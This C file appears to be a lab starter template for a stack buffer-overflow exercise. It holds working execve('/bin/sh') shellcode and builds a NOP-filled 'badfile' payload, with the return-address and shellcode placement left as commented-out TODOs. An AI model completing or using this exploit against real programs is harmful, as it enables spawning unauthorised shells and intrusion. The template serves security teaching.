exploit.c

/* 
 * This program creates a malicious exploit file for launching a shell
 */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    // the vulnerable program only reads 517 chars
    // so our exploit should fit in a 517 char array
    char exploit[517];
    FILE *badfile;

    // initialize exploit with 0x90 (NOP instruction)
    memset(&exploit, 0x90, 517);

    // TODO: fill the exploit with appropriate contents here
    // long EIP = 0x41414141; // TODO
    // long OFFSET_TO_EIP = 0; // TODO
    //
    // sets the value for the return address
    // *((long *) (exploit + OFFSET_TO_EIP)) = EIP;
    //
    // places the shellcode towards the end of exploit
    // memcpy(exploit + sizeof(exploit) - sizeof(shellcode), shellcode, sizeof(shellcode));

    // save the contents to the file "badfile"
    badfile = fopen("./badfile", "w");
    fwrite(exploit, 517, 1, badfile);
    fclose(badfile);
}